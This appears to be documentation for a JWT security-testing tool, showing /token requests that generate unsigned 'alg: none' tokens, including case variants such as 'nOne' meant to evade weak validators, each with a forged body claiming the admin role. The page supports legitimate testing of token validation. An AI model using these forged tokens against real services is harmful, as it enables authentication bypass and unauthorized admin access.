Skip to main content

alg none

Generate an unsigned token with alg: none:

{
  "vulnerability": "alg_none",
  "body": {
    "sub": "admin",
    "roles": ["admin"]
  }
}
POST /token
Request
{
  "vulnerability": "alg_none",
  "body": {
    "sub": "admin",
    "roles": [
      "admin"
    ]
  }
}
Response
No response yet
Decoded token
No token yet

Case Variations​

Some JWT validation bugs only reject lowercase none and miss other case variants. Use alg_none_variant with the preset to generate a specific spelling:

{
  "vulnerability": "alg_none",
  "alg_none_variant": "nOne",
  "body": {
    "sub": "admin",
    "roles": ["admin"]
  }
}
POST /token
Request
{
  "vulnerability": "alg_none",
  "alg_none_variant": "nOne",
  "body": {
    "sub": "admin",
    "roles": [
      "admin"
    ]
  }
}
Response
No response yet
Decoded token
No token yet

Supported values are any case variation of none, such as none, None, NONE, nOne, and nOnE.

You can also set the header directly in structured JSON:

{
  "header": {
    "alg": "None"
  },
  "body": {
    "sub": "admin"
  },
  "signature": false
}
POST /token
Request
{
  "header": {
    "alg": "None"
  },
  "body": {
    "sub": "admin"
  },
  "signature": false
}
Response
No response yet
Decoded token
No token yet